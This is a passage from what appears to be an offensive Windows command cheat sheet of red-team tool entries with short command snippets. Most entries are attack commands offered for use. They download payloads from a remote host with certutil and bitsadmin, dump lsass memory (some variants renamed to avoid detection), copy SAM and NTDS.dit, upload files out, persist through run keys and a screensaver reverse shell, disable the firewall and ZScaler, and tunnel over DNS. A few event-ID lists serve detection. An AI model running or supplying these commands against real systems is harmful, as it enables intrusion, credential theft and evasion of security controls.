C:\Windows\System32\inetsrv\appcmd list apppools
```
### Dump credentials of application pool user (run as admin)
```
C:\Windows\System32\inetsrv\appcmd list apppool "<user>" /text:*
```
attrib
### Hide directory or file
```
attrib +h <file>
```
### Remove hidden attribute
```
attrib -h <file>
```
bitsadmin
### Download file
```
bitsadmin /transfer <jobname> https://<rhost>/<file> <outFile>
```
certreq
### Download file
```
C:\Windows\System32\certreq.exe /post /config https://<rhost>/<file> c:\windows\win.ini .\<file>
```
certutil
### Download file
```
certutil -urlcache -split -f http://<rhost>/<file>
```
### Decode base64 file
```
certutil -decode <base64File> <decodedFile>
```
### Get CA host
```
certutil -TCAInfo
```
cmd-environment-variables
### Current user
```
echo %USERNAME%
```
### Current homepath
```
echo %HOMEPATH%
```
### Fully qualified domain name
```
echo %COMPUTERNAME%.%USERDNSDOMAIN%
```
### Roaming directory
```
echo %APPDATA%
```
### Domain controller
```
echo %LOGONSERVER%
```
cmstp
### Source
* https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/cmstp-template.inf
### File template
```
[version]
signature=$chicago$
[defaultinstall_singleuser]
registerocxs=r
[r]
C:\fully\qualified\path\to\payload.dll
[strings]
servicename=foobar
shortsvcname=foobar
```
### Execute file
```
cmstp.exe /ni /s .\<file>.inf
```
conhost
### Execute calc.exe with conhost.exe as parent process
```
conhost.exe --headless calc.exe
```
copy
### Concatenade 2 files
```
double click on <newFile>.png will show the image
rename <newFile>.png -> <newFile>.hta will produce hta file with image icon (still executable)
copy /b <file>.png+<file>.hta <newFile>.png
```
csc
### Compile csharp to exe (dont print warnings or logo)
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /warn:0 /nologo .\<file>.cs
```
### Compile to dll
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:<file>.dll <file>.cs
```
### Compile with hidden window
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:winexe .\<file>.cs
```
### Import library and compile
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe <file>.cs -r:"C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"
```
desktopimgdownldr
### Download file (result file: Personalization\LockScreenImage\LockScreenImageXXX)
```
set "SYSTEMROOT=C:\temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://<rhost>/<file> /eventName:<eventName>
```
dir
### Search recursively for filename
```
dir <file> /s
```
### Get common language runtime (clr) versions
```
dir %WINDIR%\Microsoft.Net\Framework\ /s /b | find "System.dll”
```
directoryservices
### Get domain name and domain controler
```
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
```
### Get forest information
```
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
```
### Get domain trusts
```
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetAllTrustRelationships()
```
### Get forst trusts
```
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GetAllTrustRelationships()
```
### Query active directory domain services for specific computer object
```
$domainObject = New-Object System.DirectoryServices.DirectoryEntry "LDAP://<domainConrollerIp>", <user>, "<password>"
$searchObject = New-Object System.DirectoryServices.DirectorySearcher $domainObject
$searchObject.Filter = "(&(objectCategory=Computer)(name=<name>))"
$searchObject.FindAll().properties
```
### Query active directory domain services for all computer or user object
```
$searchObject.Filter = "(|(objectCategory=Computer)(objectCategory=User))"
$searchObject.FindAll() | Select -Expand Properties
```
esentutl
### Download file from webdav
```
esentutl.exe /y \\<rhost>\<file> /d %HOMEDRIVE%%HOMEPATH%\<outfile>
```
### Dump registry
```
esentutl.exe /y /vss C:\Windows\System32\config\SAM /d c:\temp\<outFile>
```
expand
### Download file from webdav
```
expand \\<rhost>\<file> %HOMEPATH%\<outfile>
```
extrac32
### Download file from webdav
```
extrac32 /Y /C \\<rhost>\<file> %HOMEPATH%\<outfile>
```
files
### Typically C:\Windows
```
%SYSTEMROOT%
```
### DNS entries
```
%SYSTEMROOT%\System32\drivers\etc\hosts
```
### User & password hashes
```
%SYSTEMROOT%\system32\config\SAM
```
### Backup of SAM
```
%SYSTEMROOT%\repair\SAM
```
### Backup of SAM
```
%SYSTEMROOT%\System32\config\RegBack\SAM
```
### Application Log
```
%WINDIR%\system32\config\AppEvent.Evt
```
### Security Log
```
%WINDIR%\system32\config\SecEvent.Evt
```
find
### Find string inside the current directory
```
find /I "<string>"
```
### Line count of command output
```
<command> | find /c /v ""
```
findstr
### Search for txt files that contains given string (/S recursive, /I ignore case)
```
findstr /S /I <string> *.txt
```
### Download file from webdav
```
findstr /V someStr \\<rhost>\<file> > %HOMEPATH%\<outfile>
```
forfiles
### Search for notpad.exe, if match found open calc.exe
```
forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
```
fsquirt
### Persist using registry run key
```
cp c:\windows\System32\fsquirt.exe C:\temp
C:\temp\fsquirt.exe -Register
reg add "hkcu\software\microsoft\windows\currentversion\run" /v <taskName> /d "$env:appdata\Microsoft\Windows\SendTo\Bluetooth File Transfer.LNK"
```
### Remove persistence
```
reg delete "hkcu\software\microsoft\windows\currentversion\run" /v <taskName> /f
c:\windows\System32\fsquirt.exe -UnRegister
```
gpresult
### Get information about current user
```
gpresult /r
```
icacls
### Add all permissions to a file
```
icacls <file> /grant Everyone:F
```
### Add read permissions for specific user
```
icacls <file> /grant:R "<user>:(R)"
```
### Reset permissions
```
icacls <file> /reset
```
### Set ssh key permissions
```
icacls C:\Users\<user>\.ssh /inheritance:r /grant:r <user>:(F)
icacls C:\Users\<user>\.ssh\id_rsa /inheritance:r /grant:r <user>:(F)
```
ipconfig
### Show dns cache
```
ipconfig /displaydns
```
mofcomp
### Parse a managed object format file (mof) and add the classes and class instances to the wmi repository
```
mofcomp.exe <file>.mof
```
net
### Get domain name and information about administrator
```
net user administrator /domain
```
### Get all users in domain
```
net user /domain
```
### Unlock domain user account
```
net user <user> /ACTIVE:yes /domain
```
### Change domain user password
```
net user <user> "<newpassword>" /domain
```
### Create new user
```
net user <user> <password> /add /domain
```
### Delete user
```
net user <user> /delete /domain
```
### Get all groups in domain
```
net group /domain
```
### Get users of a group
```
net group "<group>" /domain
```
### Get domain controller
```
net group "Domain Controllers" /domain
```
### Add user to group
```
net group "<group>" <user> /add /domain
```
### Get domain password policy
```
net accounts /domain
```
### Get all user in local admin group
```
net localgroup administrators
```
### Add user to a local group
```
net localgroup "<group>" <user> /add
```
### List current SMB shares
```
net share
```
### Mount smb share
```
net use <localDrive> \\<rhost>\<remoteDrive>
or
net use * \\<lhost>\<share>
```
### Unmount smb share
```
net use <localDrive> \\<rhost>\<remoteDrive> /delete
```
### Get active sessions of local computer
```
net session
```
### Terminate all running sessions
```
net use /delete *
```
### Get remote shares
```
net view \\<rhost> /all
```
### Get information about error id
```
net helpmsg <id>
```
### Map network drive to sysinternal website
```
net use <driverLetter>: http://live.sysinternals.com/tools
```
netsh
### Show saved wireless profiles
```
netsh wlan show profiles
```
### Get the clear-text password
```
netsh wlan show profile <ssid> key=clear
```
### List interfaces
```
netsh interface ip show interfaces
```
### Set new dns server
```
netsh interface ip set dns local static <rhost>
```
### List proxy settings
```
netsh winhttp show proxy
```
### Load dll
```
netsh.exe add helper <file>.dll
```
### Port forward
```
netsh interface portproxy add v4tov4 listenport=9000 connectaddress=127.0.0.1 connectport=1080
```
### Show port forward settings
```
netsh interface portproxy show v4tov4
```
nslookup
### User specific DNS server
```
nslookup <domain> <dnsServerIp>
```
ntsdutil
### Create a shadow copy of ntds.dit, sam and security hive
```
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
```
paths
### Azure access tokens
```
C:\Users\<user>\.Azure\accessTokens.json
C:\Users\<user>\.Azure\TokenCache.dat
```
### Cmd.exe
```
C:\WINDOWS\system32\cmd.exe
```
### Group Policy Objects
```
\\<domainController>\SYSVOL\<domain>\Policies
```
### Home directory (Windows NT 5.0 - 5.2)
```
C:\Documents and Settings\<user>
```
### Home directory (Windows NT 6.0 - 10.0)
```
C:\Users\<user>
```
### Hosts
```
C:\Windows\system32\drivers\etc\hosts
```
### Ntds.dit
```
C:\Windows\NTDS\ntds.dit
C:\Windows\system32\Windows\NTDS\ntds.dit
```
### Powershell
```
C:\WINDOWS\system32\WindowsPowershell\v1.0\powershell.exe
```
### Powershell history
```
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```
### Powershell profile
```
$HOME\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
```
### Powershell profile (ISE)
```
C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShellISE_profile.ps1
$HOME\Documents\WindowsPowerShell\Microsoft.PowerShellISE_profile.ps1
```
### Sam, system, security
```
C:\Windows\system32\config
C:\Windows\system32\config\RegBack
```
### Scheduled taks as system
```
C:\windows\system32\Tasks
```
### System Center Configuration Manager installer
```
C:\Windows\sccm
```
### System Center Configuration Manager logs
```
C:\Windows\CCM\Logs
```
### Temp directory
```
C:\Windows\Temp
C:\Users\<user>\Default\AppData\LocalTemp
```
### EDB Windows search service
```
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb
```
printbrm
### Download file from webdav
```
C:\Windows\System32\spool\tools\printbrm.exe -b -d \\<host>\<file> -f C:\<outfile>
```
quser
### List logged on / interactive sessions on remote host
```
quser /Server:<rhost>
```
qwinsta
### Get local logged in user
```
qwinsta
```
reboot
### Using powershell
```
Restart-Computer -Force -ComputerName <fqdnRhost>
```
### Using cmd
```
shutdown -r
```
### Reboot remote device (-m remote machine, -t = wait 0 seconds, -f = force)
```
shutdown -m \<fqdnRhost> -t 0 -r -f
```
### Using rundll32 (numbers: 0=logoff, 1=shutdown, 2=reboot, 4=force, 8=power off)
```
rundll32.exe user.exe,ExitWindowsExec 2
```
reg
### Add registry entry
```
reg add <path> /v <value> /t <type> /d <pathToFile>
```
### Delete registry entry
```
reg delete "<path>" /v <value> /f
```
### Add example (REG_SZ UTF-16 LE string)
```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v someRegistry /t REG_SZ /d "C:\Users\username\persist.exe"
```
### Delete example
```
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v someRegistry /f
```
### Get information about registry key
```
reg query "<path>"
```
### Write security hive to file (sam, system, security, software)
```
reg save hklm\security <file>
```
### Re-enable command prompt
```
reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 0 /f
```
### Disable local account token filter policy
```
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```
### Enable remotely RDP
```
reg add "\\<rhost>\HKLM\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```
### Read configured Windows defender exclusions
```
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
```
### Enable multiple RDP sessions per user
```
reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f
```
### Enable Powershell Constrained Language Mode
```
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v "__PSLockdownPolicy" /t REG_SZ /d "4" /f
```
registry
### Installed software for user
```
HKCU\Software
```
### Mapped network drives
```
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU
```
### Password keys
```
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon \autoadminlogon HKLM\Security\Policy\Secrets
```
### Mounted devices
```
HKLM\Sjstern\MountedDevices
```
### Installed software on machine
```
HKLM\Software
```
### Local account token filter policy
```
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy
```
### OS information
```
HKLM\Software\Microsoft\Windows NT\CurrentVersion
```
### Registered owner
```
HKLM\Software\Microsoft\Windows NT\CurrentVersion /v RegisteredOwner
```
### UAC settings
```
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System | Select-String EnableLUA
```
### System root
```
HKLM\Software\Microsoft\Windows NT\CurrentVersion /v SystemRoot
```
### Script block logging
```
HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
### Transcription/console logging (powershell.exe, PowerShell ISE, .NET DLL, msbuild, etc.)
```
HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
```
### WUServer (spoofable if http for WUServer)
```
HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
```
### Password caching (disabled by default since Windows 2008 R2)
```
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
```
### USB devices
```
HKLM\System\CurrentControlSet\Enurn\USBStor
```
### RunAsPPL (Protected Process Light)
```
HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
```
### AMSI provider
```
HKLM\SOFTWARE\Microsoft\AMSI\Providers
```
### Startup locations (elevated)
```
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
```
### Startup locations (userland)
```
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
```
### Prevent windows reboot on expired VMs (delete whole key)
```
HKLM\SYSTEM\CurrentControlSet\Services\WLMS
```
replace
### Download file from webdav
```
replace.exe \\<rhost>\<file> %HOMEPATH%\desktop /A
```
run-command-as-base64
### Run base64 encoded command
```
$str = "<command>"
$base = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
powershell -exec bypass -enc $base
```
runas
### Run command as another user
```
runas /user:<domain>\<user> "powershell.exe -c <command>"
```
rundll32
### Dump lsass process
```
rundll32.exe C:\windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id <fullPath>\lsassdump.dmp full
```
### Dump lsass process obfuscated
```
$id = Get-Process lsass; cd c:\tmp; copy C:\Windows\System32\comsvcs.dll <newName>.dll; rundll32.exe <newName>.dll, MiniDump $id.Id c:\tmp\<file>.dmp full; Wait-Process -Id (Get-Process rundll32).id; del <newName>.dll;
```
### Run cmd.exe
```
rundll32.exe SHELL32.DLL,ShellExec_RunDLL "cmd.exe" "/c <command>
```
### Remove ClickOnce applications
```
rundll32 dfshim CleanOnlineAppCache
```
### Dump passwords of DPAPI to file
```
rundll32.exe keymgr.dll, KRShowKeyMgr
```
### Decrypt using
https://www.nirsoft.net/utils/credentials_file_view.html
runonce
### Add registry key
```
reg.exe add HKLM\SOFTWARE\Microsoft\CurrentVersion\RunOnce /v <name> /t reg_sz /d <file>.exe
```
### Execute
```
runonce.exe /r
```
schtasks
### Create new task (taskName must be a full path)
```
schtasks /create /sc <event> /mo <modifier> /tn <taskName> /tr <taskRun>
```
### Possible events:
```
minute
hourly
daily
weekly
once
onstart
onlogon
onidle
monthly
onevent
```
### Example - execute script every minute regardless of which user logged in - start immediately
```
schtasks /create /sc minute /mo 1 /tn "taskName" /tr C:\Users\username\file.exe /ru system
```
### Example - execute script every day at 11 am
```
schtasks /create /sc daily /st 11:00 /tn "taskName" /tr C:\Users\username\file.cmd
```
### Run task as specific user - if executed as elevated process /rp is not needed
```
schtasks /create /sc <event> /mo <modifier> /tn <taskName> /tr <taskRun> /ru <domain>\<user> /rp <password>
```
### Get information about task
```
schtasks /query /tn "<taskName>" /fo List /v
```
### Delete task
```
schtasks /delete /tn "<taskName>" /f
```
### Display all scheduled tasks
```
schtasks /query /fo LIST /v
```
### Run task manually
```
schtasks /run /tn "<taskName>"
```
### Stop task manually
```
schtasks /end /tn "<taskName>"
```
set
### Show environment variables inside cmd
```
set
```
shutdown
### Reboot immediately
```
shutdown /r /s
```
### Reboot into BIOS
```
shutdown /r /fw /f /t 0
```
sqlcmd
### Install
* https://www.microsoft.com/en-us/download/details.aspx?id=53339
* https://www.microsoft.com/en-us/download/details.aspx?id=53591
### Import database
```
sqlcmd -S (localdb)\Local -i <path>\<file>.bak -x -e
```
### Connect and list databases, tables and content
```
sqlcmd -S (localdb)\Local
select DB_NAME()
go
select TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
go
select * FROM <table>
go
```
tar
# Create archive
```
C:\Windows\System32\tar -cf <file>.tar <file> <file>
```
tree
### Show current directory structure recursively
```
tree /f
```
upload-file
### Upload file using POST request
```
powershell (New-Object System.Net.WebClient).UploadFile('http://<rhost>/<path>.php', '<absolutePathToFile>')
```
vssadmin
### Create shadow copy of ntds.dit
```
vssadmin create shadow /for=C:
```
### Copy shadow copy
```
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<id>\Windows\NTDS\NTDS.dit C:\temp\<ntds>.dit
```
### Copy system hive
```
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<id>\Windows\System32\config\SYSTEM C:\temp\system.hive
```
wmic
### Note
```
Wmic uses port 135 to determine a random port for further communication.
Appears to not work with Fully Qualified Domain Names.
```
### Enable WinRM remotely
```
wmic /node:"<rhost>" process call create "powershell enable-psremoting -force"
```
### Get user accounts
```
wmic useraccount get name,fullname
```
### Get password expire value of accounts
```
wmic useraccount get name,passwordexpires /Value
```
### Unlock user account
```
wmic useraccount where name='username' set disabled=true
```
### Get os informations
```
wmic os list Brief /format:list
wmic os get ServicePackMajorVersion,Caption,OSArchitecture
```
### List all patches
```
wmic qfe
```
### Get domain name
```
wmic computersystem get domain
```
### Display architecture (32/64 bit)
```
wmic cpu get DataWidth /format:list
```
### List services that start automatically
```
wmic SERVICE WHERE StartMode="Auto" GET Name, State
```
### Execute cmd.exe
```
wmic.exe process call create "cmd /c <command>
```
### Kill process
```
wmic process where name="<processName>" call terminate
```
### View logical shares
```
wmic logicaldisk get description,name
```
### Remotely determine logged in user
```
wmic /node:"<rhost>" computersystem get username
```
### Execute file hosted over SMB on remote system with specified credential
```
wmic /node:"<rhost>" /user:"<domain>\<user>" /password:<password> process call create "\\<rhost>\<share>\<file.exe>"
```
### Remotely start RDP
```
wmic /node:"<rhost>" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
```
### Execute command
```
wmic /node:"<rhost>" /user:"<domain>\<user>" /password:"<password>" process call create "powershell <command>"
```
wmiobject
### Get free disk space of remote host
```
$Disk = Get-WmiObject Win32_LogicalDisk -ComputerName <computer> -Filter "DeviceID='C:'" | Select-Object FreeSpace
$Disk.FreeSpace /1GB
```
### Get logged on user on remote host
```
Get-WmiObject win32_loggedonuser -ComputerName <computer>
Get-WmiObject –ComputerName <computer> –Class Win32_ComputerSystem | Select-Object UserName
```
### Get SCCM server
```
Get-WmiObject -class SMS_Authority -namespace root\CCM
```
### Check locally for SCCM credentials (admin priviledge needed)
```
Get-WmiObject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
```
### Get RAM usage
```
$obj = Get-WmiObject -Class WIN32_OperatingSystem
$ram = (($obj.TotalVisibleMemorySize - $obj.FreePhysicalMemory)/1024/1024)
Write-Host "RAM usage in GB:" $ram
```
### Create registry key
```
(Get-WmiObject -List -Namespace "root\default" | Where-Object { $_.Name -eq "StdRegProv" }).CreateKey(
2147483649, # HKEY_CURRENT_USER as UInt32
"Software\Classes\CLSID\{clsid}\InProcServer32"
)
```
### Set registry value
```
(Get-WmiObject -List -Namespace "root\default" | Where-Object { $_.Name -eq "StdRegProv" }).SetStringValue(
2147483649,
"Software\Classes\CLSID\{<clsid}\InProcServer32",
"",
"C:\\Users\\<user>\\AppData\\<file>.dll"
)
```
Email & Collaboration
ms-defender-office365-spam-rules
### Source
https://github.com/mgeeky/decode-spam-headers/tree/56f3289d8cd34883a95a0cf3e639dac1a82ce6f2
### 35100500006
```
Message contained embedded image
```
### 520007050
```
Moved message to Spam
```
### 162623004
```
Subject line contained suspicous words (like Viagra)
```
### 19618925003
```
Mail body contained suspicous words (like Viagra)
```
### 28233001
```
Subject line contained suspicous words luring action (like "Click here")
```
### 30864003
```
Mail body contained a lot of text
```
### 564344004
```
HTML mail body with less than 150 words of text
```
### 67856001
```
HTML mail body contained underline <u> tag
```
### 579124003
```
HTML mail body contained text, but no text formatting (<br>, <i>, <u>) was present
```
### 166002
```
HTML mail body contained URL <a> link
```
### 21615005
```
Mail body contained <a> tag with URL containing GET parameter
```
### 460985005
```
Mail body contained HTML <a> tag with href URL pointing to a file with dangerous extension (such as .exe)
```
### 966005
```
Mail body contained link tag with potentially masqueraded URL
```
Group Policy
gpo
### Create new GPO (requires Remote Server Administration Tools - default on domain controller)
```
New-GPO -Name <gpoName>
```
### Get informations about GPO
```
Get-GPO <gpoName>
```
IIS & Web
iis
### IIS versions
```
IIS 5.6 - Windows 2000 or Windows XP
IIS 6.0 - Windows Server 2003
IIS 7.0 - Windows Server 2008 or Windows Vista
IIS 7.5 - Windows Server 2008 R2 or Windows 7
IIS 8.0 - Windows Server 2012 or Windows 8
IIS 8.5 - Windows Server 2012 R2 or Windows 8.1
IIS 10 - Windows Server 2016 or Windows 10
```
### Logs
```
C:\inetpub\logs\LogFiles
```
Monitoring & Analysis
procdump
### Source
* https://live.sysinternals.com/procdump.exe
* https://live.sysinternals.com/procdump64.exe
### Dump lsass process to file
```
procdump.exe -accepteula -ma lsass.exe <file>
```
### Obfuscated
```
cp .\procdump.exe 'C:\Program Files (x86)\Microsoft Visual Studio\dump64.exe'
.\dump64.exe -ma (Get-Process lsass).Id <outfile>.dmp
```
### Obfuscated
```
cp .\procdump.exe 'C:\ProgramData\chocolatey\bin\dump64.exe'
.\dump64.exe -ma (Get-Process lsass).Id <outfile>.dmp
```
process
### Start and creates a new process (detached)
```
Start-Process -wi 1 -FilePath "cmd" -ArgumentList "/c type <powershellScript> | powershell -WindowStyle Hidden -exec bypass"
```
### Start process as another user (-wi 1 to minimize window pop up)
```
$scp = ConvertTo-SecureString '<password>' -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential('<domain>\<user>', $scp); start-process -wi 1 -FilePath "cmd.exe" -ArgumentList "/c <command>" -Credential $cred
```
### Forward proxychains traffic into client network
```
Start-Process -wi 1 -FilePath "powershell" -ArgumentList " -c ssh -o 'StrictHostKeyChecking=no' -i $HOME\.ssh\<privateKey> -N -R 9050 <user>@<rhost>"
```
### Search for process by name
```
Get-Process | Where-Object { $_.ProcessName -like "*<name>*" } | Select-Object ProcessName, Id
```
### Stop process by name
```
Stop-Process -Name "<name>"
```
procmon
### Source
* https://live.sysinternals.com/Procmon.exe
* https://live.sysinternals.com/Procmon64.exe
### Track file and registry changes
```
.\procmon.exe
```
winevent
### Last reboot equivalent
```
Get-WinEvent -FilterHashtable @{logname='System'; id=6005,1074} | ForEach-Object { $_.TimeCreated; if ($_.Id -match "6005") { "boot" } if ($_.Id -match "1074") {"shutdown"}}
```
### Get admin logon event
```
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property *
```
### Discover possible kerberoasting attacks
```
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select -ExpandProperty message
```
### Event IDs lateral movement
```
4624 Successful account logon
4625 Failed account logon
4634 Account logoff
4672 Administrator privileges assigned to a new logon
4648 Logon attempt with explicit credentials (Access Token Manipulation)
7036 Service started/stopped
7045 New service installed
```
### Event ID kerberoast
```
4768 A kerberos authentication ticket was requested (TGT Request)
4769 A kerberos service ticket was requested
```
### Event IDs modification of ACLs (Audit Policy for object must be enabled)
```
4662 An operation was performed on an object (OS Credential dump)
4663 Access to an object was requested (Data from local system)
4670 Permissions on an object were changed (File permissions modified)
5136 A directory service object was modified
```
### Event IDs modification of users and groups
```
4720 New user account created
4724 An attempt was made to reset an account password
4728 A member has been added to a security-related group
4732 A member has been added to a local security-related group
```
### Event IDs modification of scheduled tasks
```
106 Scheduled task registered
140 Scheduled task updated
141 Scheduled task updated
4698 Scheduled task created
4699 Scheduled task deleted
4700 Scheduled task enabled
4701 Scheduled task disabled
4702 Scheduled task disabled
```
### Event IDs Logs
```
1102 Security log cleared
```
Network & DNS
dnscat2
### Source
https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1
### Start client (using UDP)
```
Start-Dnscat2 -Domain <domain> -DNSServer <lhost> -DNSPort <lport> -NoEncryption
```
gethostbyaddress
### Resolve ip address
```
[System.Net.Dns]::GetHostByAddress("<rhost>").Hostname
```
gethostbyname
### Resolve hostname
```
$hostEntry = [System.Net.Dns]::GetHostByName("<hostname>")
$hostEntry.AddressList[0].IPAddressToString
```
gethostentry
### Reverse DNS lookup
```
[System.Net.Dns]::GetHostEntry("<rhost>").HostName
```
netadapterbinding
### List status of ZScaler
```
Get-NetAdapterBinding -AllBindings -ComponentID ZS_ZAPPRD
```
### Disable ZScaler
```
Get-NetAdapterBinding -AllBindings -ComponentID ZS_ZAPPRD | Disable-NetAdapterBinding
```
### Enable ZScaler
```
Get-NetAdapterBinding -AllBindings -ComponentID ZS_ZAPPRD | Enable-NetAdapterBinding
```
netfirewall
### Disable firewall
```
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
```
### Allow specific tcp port for ingoing traffic
```
New-NetFirewallRule -DisplayName "<name>" -Direction Inbound -LocalPort <port> -Protocol TCP -Action Allow
```
### Block specific tcp port for ingoing traffic
```
New-NetFirewallRule -DisplayName "<name>" -Direction Inbound -LocalPort <port> -Protocol TCP -Action Block
```
### List firewall rule
```
Get-NetFirewallRule -DisplayName "<name>"
```
### Remove firewall rule
```
Remove-NetFirewallRule -DisplayName "<name>"
```
netsessionenum
### Source
https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Invoke-NetSessionEnum.ps1
### Enumerate active sessions
```
Invoke-NetSessionEnum -HostName <rhost>
```
nettcpconnection
### Show open ports
```
get-nettcpconnection
```
netwkstauserenum
### Source
```
https://www.powershellgallery.com/packages/PSReflect-Functions/1.0/Content/netapi32%5CNetWkstaUserEnum.ps1
```
### List all interactive sessions on remote host (admin permissions required)
```
NetWkstaUserEnum -ComputerName <rhost>
```
port-scan-tcp
### Source
https://raw.githubusercontent.com/InfosecMatter/Minimalistic-offensive-security-tools/master/port-scan-tcp.ps1
### Scan single port
```
port-scan-tcp <rhost> <rport>
```
### Scan multiple ports
```
port-scan-tcp <rhost> (<rport>,<rport>,<rport>)
```
Persistence & Startup
screensaver-persist
### Add rev shell as screensaver
```
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "c:\<exeFile>" /f
```
### Set idle delay to 10 seconds
```
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "ScreenSaveTimeOut" /t REG_SZ /d "10" /f
```
startup-folders
## Windows NT 6.0 - 10.0 (Windows Vista / Windows Server 2008 to Windows 10 / Windows Server 2019)
### Elevated
```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
```
### Userland
```
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
```
## Windows NT 5.0 - 5.2 (Windows 2000 - Windows XP / Windows Server 2003 R2)
### Elevated
```
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
```
### Userland
```
C:\Documents and Settings\<user>\Start Menu\Programs\Startup
```
PowerShell
az-powershell
### Install
```
Install-Module Az
```
### Initial connect
```
$pw = ConvertTo-SecureString "<password>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential
("<user>@<tenant>.onmicrosoft.com", $pw)
Connect-AzAccount -Credential $cred
```
### List curennt context
```
Get-AzContext -ListAvailable
```
### Get custom defined roles
```
Get-AzureADMSRoleDefinition | ?{_.IsBUiltin -eq $False} | Select Displayname
```
### Get group member
```
Get-AzADGroupMember -GroupDisplayName '<name>'
```
### Get all resources visible to current user
```
Get-AzResource
```
### Get all resource groups visible to current user
```
Get-AzResourceGroup
```
### Get details about deployment of specific resource group
```
Get-AzResourceGroupDeployment -ResourceGroupName '<name>'
```
### Download resource group deployment template
```
Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <name> -DeploymentName <deploymentName>
```
### List all RBAC role assignments
```
Get-AzRoleAssigment
```
### List all RBAC roles for specific user
```
Get-AzRoleAssignment -SignInName <user>@<tenant>.onmicrosoft.com
```
### List all service principals
```
Get-AzADServicePrincipal
```
### Get details about specific service principal
```
Get-AzADServicePrincipal -ObjectId <id>
```
### List accessible key vaults
```
Get-AzKeyVault
```
### Access key vault
```
Get-AzKeyvaultsecret -VaultName <name>
Get-AzKeyVault -VaultName <vaultName> -Name <secretName> -AsPlainTex
```
### List all virtual machines where current user has at least Reader role
```
Get-AzVM
```
### List visble network profiles
```
Get-AzVM -Name <name> | Select -ExpandProperty NetworkProfile
```
### Get details about extension
```
